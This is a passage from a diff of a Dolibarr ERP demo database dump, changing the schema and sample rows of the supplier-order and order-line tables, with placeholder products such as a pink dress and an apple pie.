21:23:22',1,'CF1007-0002',1,NULL,NULL,NULL,'2022-07-11 18:46:28','2022-07-11 18:47:33',NULL,NULL,'2022-07-11',1,NULL,1,NULL,NULL,0,4,0,0.00000000,0,0,0.00000000,0.00000000,0.00000000,200.00000000,200.00000000,NULL,NULL,'muscadet',4,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(3,'2023-01-10 16:20:21',17,'(PROV3)',1,NULL,NULL,NULL,'2013-08-04 23:00:52',NULL,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,0,0,0,0.00000000,0,0,0.06000000,0.00000000,0.00000000,1080.17000000,1080.23000000,NULL,NULL,'muscadet',0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'USD',1.20000000,1296.20000000,0.07000000,1296.27000000,'fournisseur/commande/(PROV3)/(PROV3).pdf'),(4,'2023-01-10 16:25:17',17,'(PROV4)',1,NULL,NULL,NULL,'2013-08-04 23:19:32',NULL,NULL,NULL,NULL,1,12,NULL,NULL,NULL,0,0,0,0.00000000,0,0,12.14000000,0.00000000,0.00000000,176.17000000,188.31000000,'Private note','Public note','muscadet',0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'EUR',1.00000000,176.17000000,12.14000000,188.31000000,'fournisseur/commande/(PROV4)/(PROV4).pdf'),(13,'2023-03-08 01:24:35',1,'CF1303-0004',1,NULL,NULL,NULL,'2022-03-09 19:39:18','2022-03-09 19:39:27','2022-03-09 19:39:32',NULL,'2022-03-09',1,NULL,1,1,NULL,0,2,0,0.00000000,0,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,NULL,NULL,'muscadet',1,0,0,NULL,NULL,'2023-07-01 00:00:00',NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL),(14,'2022-12-16 11:14:24',1,'(PROV14)',1,NULL,'',NULL,'2020-01-20 12:20:11',NULL,NULL,NULL,NULL,12,NULL,NULL,NULL,NULL,0,0,0,NULL,0,0,0.40000000,0.00000000,0.00000000,16.00000000,16.40000000,'','','muscadet',0,1,NULL,NULL,NULL,NULL,NULL,0,'',1,'EUR',1.00000000,16.00000000,0.40000000,16.40000000,'fournisseur/commande/(PROV14)/(PROV14).pdf'); /*!40000 ALTER TABLE `llx_commande_fournisseur` ENABLE KEYS */; UNLOCK TABLES; @@ -4638,17 +3857,18 @@ CREATE TABLE `llx_commande_fournisseur_dispatch` ( `fk_entrepot` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `datec` datetime DEFAULT NULL, - `comment` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `comment` varchar(255) DEFAULT NULL, `status` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(128) DEFAULT NULL, `eatby` date DEFAULT NULL, `sellby` date DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `fk_reception` int(11) DEFAULT NULL, `cost_price` double(24,8) DEFAULT 0.00000000, PRIMARY KEY (`rowid`), - KEY `idx_commande_fournisseur_dispatch_fk_commande` (`fk_commande`) + KEY `idx_commande_fournisseur_dispatch_fk_commande` (`fk_commande`), + KEY `idx_commande_fournisseur_dispatch_fk_product` (`fk_product`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -4673,7 +3893,7 @@ CREATE TABLE `llx_commande_fournisseur_dispatch_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_commande_fournisseur_dispatch_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4699,7 +3919,7 @@ CREATE TABLE `llx_commande_fournisseur_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_commande_fournisseur_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4728,7 +3948,7 @@ CREATE TABLE `llx_commande_fournisseur_log` ( `fk_commande` int(11) NOT NULL, `fk_statut` smallint(6) NOT NULL, `fk_user` int(11) NOT NULL, - `comment` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `comment` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=34 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -4755,15 +3975,15 @@ CREATE TABLE `llx_commande_fournisseurdet` ( `fk_commande` int(11) NOT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `tva_tx` double(6,3) DEFAULT 0.000, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -4777,12 +3997,12 @@ CREATE TABLE `llx_commande_fournisseurdet` ( `date_start` datetime DEFAULT NULL, `date_end` datetime DEFAULT NULL, `info_bits` int(11) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `special_code` int(11) DEFAULT 0, `rang` int(11) DEFAULT 0, `fk_unit` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -4792,7 +4012,7 @@ CREATE TABLE `llx_commande_fournisseurdet` ( KEY `idx_commande_fournisseurdet_fk_commande` (`fk_commande`), KEY `idx_commande_fournisseurdet_fk_product` (`fk_product`), CONSTRAINT `fk_commande_fournisseurdet_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=27 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=36 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -4801,7 +4021,7 @@ CREATE TABLE `llx_commande_fournisseurdet` ( LOCK TABLES `llx_commande_fournisseurdet` WRITE; /*!40000 ALTER TABLE `llx_commande_fournisseurdet` DISABLE KEYS */; -INSERT INTO `llx_commande_fournisseurdet` VALUES (1,1,NULL,NULL,'','','Chips',19.600,'',0.000,'',0.000,'',10,0,0,20.00000000,200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,2,NULL,4,'ABCD','Decapsuleur','',0.000,'',0.000,'',0.000,'',20,0,0,10.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(6,13,NULL,NULL,'','','dfgdf',0.000,'',0.000,'0',0.000,'0',1,0,0,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(18,4,NULL,1,'','','A beatifull pink dress',12.500,'',0.000,'',0.000,'',1,0,0,95.00000000,95.00000000,11.88000000,0.00000000,0.00000000,106.88000000,0,NULL,NULL,0,NULL,0,1,NULL,1,'EUR',95.00000000,95.00000000,11.88000000,106.88000000),(22,4,NULL,1,'BK01','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,79.16667000,79.17000000,0.00000000,0.00000000,0.00000000,79.17000000,0,NULL,NULL,0,NULL,0,2,NULL,1,'EUR',79.16667000,79.17000000,0.00000000,79.17000000),(23,14,NULL,1,'','','A beatifull pink dress',12.500,'',0.000,'0',0.000,'0',1,0,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(25,3,NULL,1,'BK01','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,79.16667000,79.17000000,0.00000000,0.00000000,0.00000000,79.17000000,0,NULL,NULL,0,NULL,0,1,NULL,2,'USD',95.00000000,95.00000000,0.00000000,95.00000000),(26,3,NULL,1,'bbb','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',10,0,0,100.00000000,1000.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,0,NULL,NULL,0,NULL,0,2,NULL,2,'USD',120.00000000,1200.00000000,0.00000000,1200.00000000); +INSERT INTO `llx_commande_fournisseurdet` VALUES (1,1,NULL,NULL,'','','Chips',19.600,'',0.000,'',0.000,'',10,0,0,20.00000000,200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,2,NULL,4,'ABCD','Decapsuleur','',0.000,'',0.000,'',0.000,'',20,0,0,10.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(6,13,NULL,NULL,'','','dfgdf',0.000,'',0.000,'0',0.000,'0',1,0,0,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(18,4,NULL,1,'','','A beatifull pink dress',12.500,'',0.000,'',0.000,'',1,0,0,95.00000000,95.00000000,11.88000000,0.00000000,0.00000000,106.88000000,0,NULL,NULL,0,NULL,0,1,NULL,1,'EUR',95.00000000,95.00000000,11.88000000,106.88000000),(22,4,NULL,1,'BK01','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,79.16667000,79.17000000,0.00000000,0.00000000,0.00000000,79.17000000,0,NULL,NULL,0,NULL,0,2,NULL,1,'EUR',79.16667000,79.17000000,0.00000000,79.17000000),(25,3,NULL,1,'BK01','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,79.16667000,79.17000000,0.00000000,0.00000000,0.00000000,79.17000000,0,NULL,NULL,0,NULL,0,1,NULL,2,'USD',95.00000000,95.00000000,0.00000000,95.00000000),(26,3,NULL,1,'bbb','','A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',10,0,0,100.00000000,1000.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,0,NULL,NULL,0,NULL,0,2,NULL,2,'USD',120.00000000,1200.00000000,0.00000000,1200.00000000),(28,14,NULL,4,'','','Nice Bio Apple Pie.
\r\n ',0.000,'CGST+SGST',0.000,'1',0.000,'1',1,0,0,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0,1,NULL,1,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(29,14,NULL,5,'iii','','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',4.000,'',0.000,'0',0.000,'0',1,0,0,5.00000000,5.00000000,0.20000000,0.00000000,0.00000000,5.20000000,0,NULL,NULL,0,NULL,0,2,NULL,1,'EUR',5.00000000,5.00000000,0.20000000,5.20000000),(30,14,NULL,5,'iii','','DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',4.000,'',0.000,'0',0.000,'0',1,0,0,5.00000000,5.00000000,0.20000000,0.00000000,0.00000000,5.20000000,0,NULL,NULL,0,NULL,0,3,NULL,1,'EUR',5.00000000,5.00000000,0.20000000,5.20000000),(31,14,NULL,4,'','','Nice Bio Apple Pie.
\r\n ',0.000,'CGST+SGST',0.000,'1',0.000,'1',1,0,0,1.00000000,1.00000000,0.00000000,0.00000000,0.00000000,1.00000000,0,NULL,NULL,0,NULL,0,4,NULL,1,'EUR',1.00000000,1.00000000,0.00000000,1.00000000),(32,3,NULL,NULL,'','','1',5.500,'bbb',0.000,'0',0.000,'0',1,0,0,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0,3,NULL,2,'USD',1.20000000,1.20000000,0.07000000,1.27000000),(33,4,NULL,NULL,'','','1',5.500,'aaa',0.000,'0',0.000,'0',1,0,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0,3,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(34,4,NULL,NULL,'','','1',20.000,'',0.000,'0',0.000,'0',1,0,0,1.00000000,1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,4,NULL,1,'EUR',1.00000000,1.00000000,0.20000000,1.20000000),(35,4,NULL,NULL,'','','1',5.500,'aaa',0.000,'0',0.000,'0',1,0,0,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0,5,NULL,1,'EUR',1.00000000,1.00000000,0.06000000,1.06000000); /*!40000 ALTER TABLE `llx_commande_fournisseurdet` ENABLE KEYS */; UNLOCK TABLES; @@ -4816,7 +4036,8 @@ CREATE TABLE `llx_commande_fournisseurdet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `ddm` double(24,8) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_commande_fournisseurdet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4843,15 +4064,15 @@ CREATE TABLE `llx_commandedet` ( `fk_commande` int(11) DEFAULT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT NULL, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT NULL, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -4871,11 +4092,11 @@ CREATE TABLE `llx_commandedet` ( `buy_price_ht` double(24,8) DEFAULT 0.00000000, `special_code` int(10) unsigned DEFAULT 0, `rang` int(11) DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_commandefourndet` int(11) DEFAULT NULL, `fk_unit` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -4888,7 +4109,7 @@ CREATE TABLE `llx_commandedet` ( CONSTRAINT `fk_commandedet_fk_commande` FOREIGN KEY (`fk_commande`) REFERENCES `llx_commande` (`rowid`), CONSTRAINT `fk_commandedet_fk_commandefourndet` FOREIGN KEY (`fk_commandefourndet`) REFERENCES `llx_commande_fournisseurdet` (`rowid`), CONSTRAINT `fk_commandedet_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=308 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=310 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -4897,7 +4118,7 @@ CREATE TABLE `llx_commandedet` ( LOCK TABLES `llx_commandedet` WRITE; /*!40000 ALTER TABLE `llx_commandedet` DISABLE KEYS */; -INSERT INTO `llx_commandedet` VALUES (1,1,NULL,NULL,NULL,NULL,'Product 1',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,1,NULL,2,NULL,NULL,'',0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,1,NULL,5,NULL,NULL,'cccc',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,2,NULL,NULL,NULL,NULL,'hgf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(10,5,NULL,NULL,NULL,NULL,'gfdgdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(14,3,NULL,NULL,NULL,NULL,'gdfgdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(15,3,NULL,NULL,NULL,NULL,'fghfgh',0.000,'',0.000,'',0.000,'',1,0,0,NULL,20,20.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(16,17,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(17,17,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(18,17,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(19,18,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(20,18,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(21,18,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(24,20,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,5,5.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,20.00000000,0.00000000,20.00000000),(25,20,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(26,20,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(55,29,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(56,29,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(57,29,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(58,29,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,1,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(59,29,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(75,34,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(76,34,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(77,34,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(78,34,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(94,38,NULL,10,NULL,NULL,'A powerfull computer XP4523 